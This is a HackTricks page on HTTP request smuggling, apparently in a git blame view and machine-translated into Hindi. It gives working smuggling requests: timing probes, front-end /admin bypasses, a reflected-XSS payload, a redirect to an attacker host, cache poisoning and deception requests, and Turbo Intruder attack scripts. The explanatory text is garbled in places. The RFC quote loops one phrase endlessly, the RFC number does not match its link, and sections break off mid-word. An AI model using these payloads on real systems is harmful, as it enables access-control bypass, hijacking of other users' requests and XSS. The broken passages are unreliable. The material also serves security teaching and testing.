hacktricks/pentesting-web/http-request-smuggling/README.md

409 lines
42 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# HTTP Request Smuggling / HTTP Desync Attack
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
* क्या आप एक **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या **फॉलो** करें मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को PR जमा करके।**
2022-04-28 16:01:33 +00:00
</details>
2023-11-06 08:38:02 +00:00
## क्या है
2023-11-06 08:38:02 +00:00
यह सुरक्षा दुर्बलता उत्पन्न होती है जब **फ्रंट-एंड प्रॉक्सी** और **बैक-एंड** सर्वर के बीच एक **असमयीकरण** होता है जो एक **हमलावर** को एक HTTP **अनुरोध** भेजने की अनुमति देता है जो **फ्रंट-एंड** प्रॉक्सी (लोड बैलेंस / प्रतिरोध-प्रॉक्सी) द्वारा **एकल अनुरोध** के रूप में **व्याख्या** किया जाएगा और **बैक-एंड** सर्वर द्वारा **2 अनुरोध** के रूप में **व्याख्या** किया जाएगा।\
इससे उपयोगकर्ता को अपने के बाद बैक-एंड सर्वर तक पहुंचने वाले अगले अनुरोध को **संशोधित** करने की अनुमति मिलती है।
2023-11-06 08:38:02 +00:00
### सिद्धांत
2023-11-06 08:38:02 +00:00
[**RFC निर्धारण (2161)**](https://tools.ietf.org/html/rfc2616)
2023-11-06 08:38:02 +00:00
> यदि एक संदेश को एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संदेश में एक ही संद
### TE.CL ग़ैरसुरक्षितता
2023-11-06 08:38:02 +00:00
यहाँ, फ्रंट-एंड सर्वर `Transfer-Encoding` हैडर का उपयोग करता है और बैक-एंड सर्वर `Content-Length` हैडर का उपयोग करता है। हम निम्नलिखित तरीके से एक सरल HTTP अनुरोध धारणा हमला कर सकते हैं:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Content-Length: 4`\
`Connection: keep-alive`\
`Transfer-Encoding: chunked`\
2022-04-28 15:47:13 +00:00
``\ `7b`\ `GET /404 HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 30`\``\
`x=`\
`0`\
2022-04-28 15:47:13 +00:00
`\`
2023-11-06 08:38:02 +00:00
इस मामले में **रिवर्स-प्रॉक्सी** बैक-एंड को **`Transfer-encoding`** के रूप में निर्दिष्ट करने के कारण **पूरा अनुरोध** भेजेगा। लेकिन, **बैक-एंड** केवल **`7b`** (4 बाइट) को ही **प्रोसेस** करेगा जैसा कि `Content-Length` में निर्दिष्ट है। इसलिए, अगला अनुरोध `GET /404 HTTP/1.1` से शुरू होगा।
2023-11-06 08:38:02 +00:00
_ध्यान दें कि हालांकि हमला एक `0` के साथ समाप्त होना चाहिए, अगला अनुरोध **x** पैरामीटर के अतिरिक्त मानों के रूप में जोड़ा जाएगा।_\
_इसके अलावा, एम्बेडेड अनुरोध की Content-Length अगले अनुरोध की लंबाई को निर्दिष्ट करेगी जो **x** पैरामीटर में जोड़ा जाएगा। यदि यह बहुत छोटा है, तो कुछ बाइट ही जोड़े जाएंगे, और यदि यह बहुत बड़ा है (अगले अनुरोध की लंबाई से बड़ा है) तो अगले अनुरोध के लिए त्रुटि उठेगी।_
2023-11-06 08:38:02 +00:00
### TE.TE ग़ैरसुरक्षितता
2023-11-06 08:38:02 +00:00
यहाँ, फ्रंट-एंड और बैक-एंड सर्वर दोनों `Transfer-Encoding` हैडर का समर्थन करते हैं, लेकिन इनमें से कोई एक सर्वर हेडर को किसी तरीके से अवरोधित करके इसे प्रोसेस नहीं कर सकता है।\
`Transfer-Encoding` हैडर को अवरोधित करने के लिए असीमित तरीके हो सकते हैं। उदाहरण के लिए:
`Transfer-Encoding: xchunked`\
2022-04-28 15:47:13 +00:00
``\ `Transfer-Encoding : chunked`\``\
`Transfer-Encoding: chunked`\
`Transfer-Encoding: x`\
2022-04-28 15:47:13 +00:00
``\ `Transfer-Encoding: chunked`\ `Transfer-encoding: x`\``\
`Transfer-Encoding:[tab]chunked`\
2022-04-28 15:47:13 +00:00
``\ `[space]Transfer-Encoding: chunked`\``\
`X: X[\n]Transfer-Encoding: chunked`\
2022-04-28 15:47:13 +00:00
\`\`\
`Transfer-Encoding`\
`: chunked`
2023-11-06 08:38:02 +00:00
**TE** हेडर को प्रोसेस नहीं करने वाले सर्वर (रिवर्स-प्रॉक्सी या बैक-एंड) के आधार पर, आपको एक **CL.TE ग़ैरसुरक्षितता** या **TE.CL ग़ैरसुरक्षितता** मिलेगी।
2023-11-06 08:38:02 +00:00
## HTTP अनुरोध धारणा खोजना
2023-11-06 08:38:02 +00:00
### समय तकनीकों का उपयोग करके CL.TE ग़ैरसुरक्षितता खोजना
2023-11-06 08:38:02 +00:00
यदि कोई एप्लिकेशन CL.TE वेरिएंट के अनुरोध धारणा के लिए सुरक्षितता के प्रति विकल्पशील है, तो निम्नलिखित तरह का एक अनुरोध भेजने से अक्सर समय में देरी होगी:
2022-05-08 09:21:55 +00:00
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
```
2023-11-06 08:38:02 +00:00
यदि फ्रंट-एंड सर्वर `Content-Length` हैडर का उपयोग करता है, तो यह केवल इस अनुरोध का एक हिस्सा आगे भेजेगा, `0` को छोड़ देता है। बैक-एंड सर्वर `Transfer-Encoding` हैडर का उपयोग करता है, पहले चंक को प्रोसेस करता है, और फिर अगले चंक की प्रतीक्षा करता है। इससे एक दृश्यमान समय देरी होगी।
2023-11-06 08:38:02 +00:00
कभी-कभी, टाइमआउट प्राप्त करने की बजाय, आपको अंतिम होस्ट से 400 बेड रिक्वेस्ट प्राप्त होता है, जैसे निम्नलिखित स्थिति में, जहां एक CL.TE पेलोड भेजा जाता है:
2021-11-05 20:59:42 +00:00
![](<../../.gitbook/assets/image (444).png>)
2023-11-06 08:38:02 +00:00
और प्रतिक्रिया शरीर में एक त्रुटि सहित एक पुनर्निर्देशन होता है, जिसमें हैप्रोक्सी के उपयोग की संस्करण भी होती है:
2021-11-05 20:59:42 +00:00
![](<../../.gitbook/assets/image (443).png>)
2023-11-06 08:38:02 +00:00
### टाइमिंग तकनीकों का उपयोग करके TE.CL संबंधी सुरक्षा दुरुपयोग खोजना
2023-11-06 08:38:02 +00:00
यदि कोई एप्लिकेशन TE.CL प्रकार के रिक्वेस्ट स्मगलिंग के लिए सुरक्षित नहीं है, तो निम्नलिखित तरह का एक रिक्वेस्ट भेजने से अक्सर समय देरी होगी:
2022-05-08 09:21:55 +00:00
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
```
2023-11-06 08:38:02 +00:00
### प्रथम-अंत सर्वर `Transfer-Encoding` हैडर का उपयोग करता है, इसलिए यह केवल इस अनुरोध का एक हिस्सा आगे भेजेगा, `X` को छोड़ देता है। बैक-एंड सर्वर `Content-Length` हैडर का उपयोग करता है, संदेश शरीर में अधिक सामग्री की उम्मीद करता है, और शेष सामग्री की पहुंच के लिए प्रतीक्षा करता है। इससे एक दृश्यमान समय देरी होगी।
2023-11-06 08:38:02 +00:00
### HTTP अनुरोध स्मगलिंग की जांच करना
2023-11-06 08:38:02 +00:00
जब आपने पाया है कि **समय तकनीक काम कर रही हैं**, तो आपको यह प्रोब करना होगा कि आप अन्य क्लाइंट के अनुरोधों को **संशोधित कर सकते हैं**।\
इसे करने का सबसे आसान तरीका यह है कि आप अपने अनुरोधों को दूषित करने की कोशिश करें, **उदाहरण के लिए `/` के लिए एक 404 लौटाएं**।\
[मूल उदाहरणों](./#basic-examples) में हमने पहले ही `CL.TE` और `TE.CL` उदाहरण देखे हैं, जहां एक क्लाइंट के अनुरोध को दूषित करने के लिए `/404` के लिए पूछताछ करने के लिए एक 404 प्रतिक्रिया उत्पन्न की गई थी जब क्लाइंट किसी अन्य संसाधन के लिए पूछ रहा था।
2023-11-06 08:38:02 +00:00
**नोट**
2023-11-06 08:38:02 +00:00
अन्य अनुरोधों के साथ हस्तक्षेप करके अनुरोध स्मगलिंग संबंधी दुर्गमता की पुष्टि करने का प्रयास करते समय कुछ महत्वपूर्ण विचारों को ध्यान में रखना चाहिए:
2023-11-06 08:38:02 +00:00
* "हमला" अनुरोध और "सामान्य" अनुरोध को सर्वर को अलग नेटवर्क कनेक्शन का उपयोग करके भेजा जाना चाहिए। दोनों अनुरोधों को एक ही कनेक्शन के माध्यम से भेजने से यह सिद्ध नहीं होगा कि दुर्गमता मौजूद है।
* "हमला" अनुरोध और "सामान्य" अनुरोध को यथासंभव समान URL और पैरामीटर नामों का उपयोग करना चाहिए। इसलिए कि कई आधुनिक एप्लिकेशन URL और पैरामीटर के आधार पर फ्रंट-एंड अनुरोधों को विभिन्न बैक-एंड सर्वरों को मार्गनिर्देशित करते हैं। समान URL और पैरामीटर का उपयोग करने से यह संभावना बढ़ जाती है कि अनुरोधों को एक ही बैक-एंड सर्वर द्वारा प्रसंस्कृत किया जाएगा, जो हमले के लिए आवश्यक है।
* "सामान्य" अनुरोध की जांच करने के लिए "हमला" अनुरोध से किसी भी हस्तक्षेप की प्रभावित होने के साथ, आप उस अनुरोध को तुरंत "हमला" अनुरोध के बाद भेजना चाहिए। यदि एप्लिकेशन व्यस्त है, तो आपको दुर्गमता की पुष्टि करने के लिए कई प्रयास करने की आवश्यकता हो सकती है।
* कुछ एप्लिकेशनों में, फ्रंट-एंड सर्वर लोड बैलेंसर की तरह कार्य करता है, और URL और पैरामीटर के आधार पर विभिन्न बैक-एंड सिस्टमों को अनुरोध भेजता है। यदि आपका "हमला" और "सामान्य" अनुरोध विभिन्न बैक-एंड सिस्टमों को प्रेषित किए जाते हैं, तो हमला असफल होगा। यह एक अतिरिक्त कारण है कि आपको दुर्गमता की पुष्टि करने के लिए कई बार प्रयास करने की आवश्यकता हो सकती है।
* यदि आपका हमला किसी भविष्यवाणी अनुरोध के साथ हस्तक्षेप करने में सफल होता है, लेकिन यह "सामान्य" अनुरोध नहीं था जिसे आपने हस्तक्षेप की पुष्टि करने के लिए भेजा था, तो इसका अर्थ है कि दूसरे एप्लिकेशन उपयोगकर्ता को आपके हमले का प्रभाव पड़ा। यदि आप परीक्षण जारी रखते हैं, तो इससे अन्य उपयोगकर्ताओं पर अस्थिर प्रभाव पड़ सकता है, और आपको सतर्कता बरतनी चाहिए।
2023-11-06 08:38:02 +00:00
### हॉप-बाय-हॉप हेडर के माध्यम से बलवान बनाना
2021-11-05 20:59:42 +00:00
2023-11-06 08:38:02 +00:00
हॉप-बाय-हॉप हेडर का दुरुपयोग करके आप प्रॉक्सी को संकेत कर सकते हैं कि **Content-Length या Transfer-Encoding हैडर को हटा दें ताकि HTTP अनुरोध स्मगलिंग का दुरुपयोग किया जा सके**
2021-11-05 20:59:42 +00:00
```
Connection: Content-Length
2021-11-05 20:59:42 +00:00
```
2023-11-06 08:38:02 +00:00
अधिक जानकारी के लिए **हॉप-बाय-हॉप हेडर्स के बारे में** देखें:
2021-11-05 20:59:42 +00:00
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %}
2023-11-06 08:38:02 +00:00
## HTTP रिक्ति का दुरुपयोग करना
2023-11-06 08:38:02 +00:00
### फ्रंट-एंड सुरक्षा नियंत्रण को दुर्भाग्यपूर्ण करने के लिए
2023-11-06 08:38:02 +00:00
कभी-कभी **फ्रंट-एंड प्रॉक्सी सुरक्षा जांचें करेंगे**। आप HTTP रिक्ति का दुरुपयोग करके इन्हें टाल सकते हैं क्योंकि आपको **सुरक्षा को टालने की अनुमति मिलेगी**। उदाहरण के लिए, इस उदाहरण में आप **बाहर से `/admin` तक पहुंच नहीं पा रहे हैं** और फ्रंट-एंड प्रॉक्सी इसे जांच रही है, लेकिन यह **प्रॉक्सी एम्बेडेड अनुरोध की जांच नहीं कर रही है**:
2022-04-28 23:27:22 +00:00
**CL.TE**
`POST / HTTP/1.1`\
`Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net`\
`Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr`\
`Connection: keep-alive`\
`Content-Type: application/x-www-form-urlencoded`\
`Content-Length: 67`\
`Transfer-Encoding: chunked`\
2022-04-28 15:47:13 +00:00
``\ `0`\``\
`GET /admin HTTP/1.1`\
`Host: localhost`\
`Content-Length: 10`\
2022-04-28 15:47:13 +00:00
\`\`\
`x=`
2022-04-28 23:27:22 +00:00
**TE.CL**
`POST / HTTP/1.1`\
`Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net`\
`Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c`\
`Content-Type: application/x-www-form-urlencoded`\
`Connection: keep-alive`\
`Content-Length: 4`\
`Transfer-Encoding: chunked`\
`2b`\
`GET /admin HTTP/1.1`\
`Host: localhost`\
`a=x`\
`0`\
2022-04-28 15:47:13 +00:00
`\`
2023-11-06 08:38:02 +00:00
### फ्रंट-एंड अनुरोध पुनर्लेखन का पता लगाना <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
2023-11-06 08:38:02 +00:00
बहुत सारे एप्लिकेशनों में, **फ्रंट-एंड सर्वर अनुरोधों को पुनर्लेखित करता है** जो कि उन्हें बैक-एंड सर्वर को आगे भेजने से पहले, सामान्यतः कुछ अतिरिक्त अनुरोध हेडर जोड़कर करता है।\
एक सामान्य कार्य है कि अनुरोध में **हेडर जोड़ें** `X-Forwarded-For: <ग्राहक का IP>` या कुछ ऐसा हेडर ताकि बैक-एंड को ग्राहक का IP पता चले।\
कभी-कभी, यदि आप **पता लगा सकते हैं कि अनुरोध में कौन से नए मान जोड़े गए हैं**, तो आप सुरक्षा को टाल सकते हैं और **छिपी हुई जानकारी**/**एंडपॉइंट** तक पहुंच सकते हैं।
2023-11-06 08:38:02 +00:00
अनुरोध को पुनर्लेखित करने के लिए, आपको एक POST पैरामीटर ढूंढ़ना होगा जिसका वैल्यू बैक-एंड उत्तर में प्रतिबिंबित होगा। फिर, इस पैरामीटर का उपयोग अंतिम करें और इस तरह के एक एक्सप्लॉइट का उपयोग करें:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Content-Length: 130`\
`Connection: keep-alive`\
`Transfer-Encoding: chunked`\
`0`\
2022-04-28 15:47:13 +00:00
``\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\``\
`search=`
2023-11-06 08:38:02 +00:00
इस मामले में, अगला अनुरोध `search=` के बाद जोड़ा जाएगा जो कि भी **पैरामीटर है जिसका मान प्रतिबिंबित होगा** उत्तर में, इसलिए यह **अगले अनुरोध के हेडर प्रतिबिंबित करेगा**
2023-11-06 08:38:02 +00:00
ध्यान दें कि **केवल एम्बेडेड अनुरोध के `Content-Length` हेडर में दिखाए गए लंबाई को प्रतिबिंबित किया जाएगा**। यदि आप कम संख्या का उपयोग करते हैं, तो केवल कुछ बाइट प्रतिबिंबित होंगे, यदि आप सभी हेडरों की लंबाई से बड़ी संख्या का उपयोग करते हैं, तो एम्बेडेड अनुरोध में त्रुटि होगी। फिर, आपको **एक छोटी संख्या** से **शुरू** करनी चाहिए और इसे **बढ़ाते** जाना चाहिए जब तक आपको देखना नहीं होता कि आपको क्या देखना है।\
ध्यान दें कि यह **तकनीक एक TE.CL** संक्रमण के साथ भी शोषणीय है लेकिन अनुरोध को `search=\r\n0` के साथ समाप्त होना चाहिए। हालांकि, नई पंक्ति वर्णों के बावजूद मानों को खोज पैरामीटर में जोड़ा जाएगा।
2023-11-06 08:38:02 +00:00
अंत में ध्यान दें कि इस हमले में हम अभी भी खुद को हमला कर रहे हैं ताकि हम यह जान सकें कि फ्रंट-एंड प्रॉक्सी अनुरोध को कैसे पुनर्लेखित कर रही है।
2023-11-06 08:38:02 +00:00
### अन्य उपयोगकर्ताओं के अनुरोध कैप्चर करना <a href="#capturing-other-users-
### HTTP अनुरोध स्मगलिंग का उपयोग करके प्रतिबिंबित XSS का शोषण करना
2023-11-06 08:38:02 +00:00
यदि वेब पृष्ठ भी **प्रतिबिंबित XSS के लिए संकटग्रस्त** है, तो आप HTTP अनुरोध स्मगलिंग का दुरुपयोग करके वेब के ग्राहकों को हमला कर सकते हैं। HTTP अनुरोध स्मगलिंग से प्रतिबिंबित XSS का शोषण कुछ लाभ हैं:
2023-11-06 08:38:02 +00:00
* **यह पीड़ित उपयोगकर्ता के साथ कोई संवाद नहीं आवश्यक है**
* यह उन अनुरोध के भागों में XSS व्यवहार का दुरुपयोग करने के लिए उपयोग किया जा सकता है जिन्हें एक साधारित प्रतिबिंबित XSS हमले में सरलतापूर्वक नियंत्रित नहीं किया जा सकता है, जैसे कि HTTP अनुरोध हेडर।
2023-11-06 08:38:02 +00:00
यदि वेब प्रयोगकर्ता-एजेंट हेडर पर प्रतिबिंबित XSS के लिए संकटग्रस्त है, तो आप इस पेलोड का उपयोग करके इसे शोषित कर सकते हैं:
`POST / HTTP/1.1`\
`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\
`User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0`\
`Cookie: session=Ro7YknOtbl3bxURHAAxZz84qj3PSMnSY`\
`Transfer-Encoding: chunked`\
`Connection: keep-alive`\
`Content-Length: 213`\
`Content-Type: application/x-www-form-urlencoded`\
2022-04-28 15:47:13 +00:00
``\ `0`\``\
`GET /post?postId=2 HTTP/1.1`\
`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\
`User-Agent: "><script>alert(1)</script>`\
`Content-Length: 10`\
`Content-Type: application/x-www-form-urlencoded`\
2022-04-28 15:47:13 +00:00
\`\`\
`A=`
2023-11-06 08:38:02 +00:00
### HTTP अनुरोध स्मगलिंग का उपयोग करके एक साइट पुनर्निर्देश को खोले निर्देश में बदलने के लिए <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
2023-11-06 08:38:02 +00:00
कई अनुप्रयोग एक URL से दूसरे URL पर साइट पुनर्निर्देश करते हैं और अनुरोध के `Host` हेडर में से होस्टनाम को पुनर्निर्देश URL में रखते हैं। इसका एक उदाहरण अपाचे और IIS वेब सर्वरों के डिफ़ॉल्ट व्यवहार है, जहां एक ट्रेलिंग स्लैश के बिना एक फ़ोल्डर के लिए एक अनुरोध एक पुनर्निर्देश प्राप्त करता है:
`GET /home HTTP/1.1`\
`Host: normal-website.com`\
2022-04-28 15:47:13 +00:00
\`\`\
`HTTP/1.1 301 Moved Permanently`\
`Location: https://normal-website.com/home/`
2023-11-06 08:38:02 +00:00
यह व्यवहार सामान्यतः अहानिकारक माना जाता है, लेकिन इसे एक अनुरोध स्मगलिंग हमले में दुरुपयोग किया जा सकता है ताकि अन्य उपयोगकर्ताओं को एक बाहरी डोमेन पर पुनर्निर्देशित किया जा सके। उदाहरण के लिए:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Content-Length: 54`\
`Connection: keep-alive`\
`Transfer-Encoding: chunked`\
2022-04-28 15:47:13 +00:00
``\ `0`\``\
`GET /home HTTP/1.1`\
`Host: attacker-website.com`\
`Foo: X`
2023-11-06 08:38:02 +00:00
स्मगलिंग अनुरोध एक अपराधी की वेबसाइट पर पुनर्निर्देश को सक्रिय करेगा, जो पीछे की ओर संचालित किए जाने वाले सर्वर द्वारा प्रसंस्कृत किए जाने वाले अगले उपयोगकर्ता के अनुरोध पर प्रभाव डालेगा। उदाहरण के लिए:
`GET /home HTTP/1.1`\
`Host: attacker-website.com`\
`Foo: XGET /scripts/include.js HTTP/1.1`\
`Host: vulnerable-website.com`\
2022-04-28 15:47:13 +00:00
\`\`\
`HTTP/1.1 301 Moved Permanently`\
`Location: https://attacker-website.com/home/`
2023-11-06 08:38:02 +00:00
यहां, उपयोगकर्ता का अनुरोध वेबसाइट पर एक पृष्ठ द्वारा आयातित एक जावास्क्रिप्ट फ़ाइल के लिए था। हमलावर उपयोगकर्ता को अपने जवाब में अपना जावास्क्रिप्ट पूरी तरह से प्रभावित कर सकता है।
2023-11-06 08:38:02 +00:00
### वेब कैश पॉइज़निंग करने के लिए HTTP अनुरोध स्मगलिंग का उपयोग करना <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
2023-11-06 08:38:02 +00:00
यदि किसी भी भाग में **फ्रंट-एंड बुनियादी ढांचा सामग्री कैश करता है** (आमतौर पर प्रदर्शन के कारण) तो यह **संभव हो सकता है कि सर्वर के प्रतिक्रिया को बदलकर उस कैश को दुर्गंधित किया जा सके**। हमने पहले ही देखा है कि कैसे सर्वर से अपेक्षित वापसी मूल्य को 404 (मूल उदाहरणों में) में संशोधित किया जा सकता है, एक समान तरीके से आप `/static/include.js` के लिए प्रतिबंधित अनुरोध करने पर सर्वर वापसी करने के लिए `/index.html` की सामग्री को वापसी कर सकते हैं। इस तरह, `/static/include.js` की सामग्री `/index.html` की सामग्री के साथ कैश की ज
### वेब कैश धोखाधड़ी करने के लिए एचटीटीपी अनुरोध तकनीक का उपयोग करना <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
2023-11-06 08:38:02 +00:00
> **वेब कैश पॉइज़निंग और वेब कैश धोखाधड़ी के बीच क्या अंतर है?**
>
2023-11-06 08:38:02 +00:00
> * **वेब कैश पॉइज़निंग** में, हमलावर अनुप्रयोग को कैश में कुछ खतरनाक सामग्री संग्रहीत कराता है, और यह सामग्री कैश से अन्य अनुप्रयोग उपयोगकर्ताओं को सेवा कराई जाती है।
> * **वेब कैश धोखाधड़ी** में, हमलावर अनुप्रयोग को कैश में किसी अन्य उपयोगकर्ता की कुछ संवेदनशील सामग्री संग्रहीत कराता है, और फिर हमलावर इस सामग्री को कैश से प्राप्त करता है।
2023-11-06 08:38:02 +00:00
इस वैरिएंट में, हमलावर एक ऐसा अनुरोध चोरी करता है जो कुछ संवेदनशील उपयोगकर्ता-विशिष्ट सामग्री वापस करता है। उदाहरण के लिए:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
2022-04-28 15:47:13 +00:00
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
2023-11-06 08:38:02 +00:00
यदि **जहर एक ऐसे क्लाइंट तक पहुंचता है जो कुछ स्थिर सामग्री** जैसे `/someimage.png` तक पहुंच रहा था जो **कैश** होने वाला था। पीड़ित का `/private/messages` का सामग्री `/someimage.png` में कैश हो जाएगा और हमलावर उन्हें चुरा सकेगा।\
ध्यान दें कि **हमलावर नहीं जानता है कि पीड़ित किस स्थिर सामग्री का उपयोग करने की कोशिश कर रहा था** इसलिए शायद सबसे अच्छा तरीका इसे परीक्षण करने के लिए हमला करना है, कुछ सेकंड प्रतीक्षा करें और सभी स्थिर सामग्री को **लोड करें** और **निजी डेटा** की खोज करें।
2023-11-06 08:38:02 +00:00
### एचटीटीपी अनुरोध तकनीक का उपयोग करके वेब कैश धोखाधड़ी को शस्त्रीकरण करना
2021-11-05 20:59:42 +00:00
2023-11-06 08:38:02 +00:00
क्या आपने कुछ एचटीटीपी अनुरोध तकनीक की कमजोरी खोजी है और आप इसे कैसे शोषण करें इसका पता नहीं है। इस प्रकार के शोषण के लिए इन अन्य शोषण विधियों का प्रयास करें:
2021-11-05 20:59:42 +00:00
{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
{% endcontent-ref %}
2023-11-06 08:38:02 +00:00
## टर्बो इंट्रूडर स्क्रिप्ट
2023-11-06 08:38:02 +00:00
### सीएल.टीई
2023-11-06 08:38:02 +00:00
[https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor) से
```python
def queueRequests(target, wordlists):
2023-11-06 08:38:02 +00:00
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
2023-11-06 08:38:02 +00:00
engine.queue(attack)
2023-11-06 08:38:02 +00:00
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
2023-11-06 08:38:02 +00:00
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
2023-11-06 08:38:02 +00:00
table.add(req)
```
2022-05-01 13:25:53 +00:00
### TE.CL
2023-11-06 08:38:02 +00:00
यहां से: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
```python
def queueRequests(target, wordlists):
2023-11-06 08:38:02 +00:00
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
2023-11-06 08:38:02 +00:00
engine.queue(attack)
2023-11-06 08:38:02 +00:00
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
2023-11-06 08:38:02 +00:00
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
2023-11-06 08:38:02 +00:00
table.add(req)
```
2023-11-06 08:38:02 +00:00
## अधिक जानकारी
![](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
2023-11-06 08:38:02 +00:00
[यहां से छवि ली गई है।](https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104)
2023-11-06 08:38:02 +00:00
## उपकरण
2021-01-05 09:49:30 +00:00
* [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
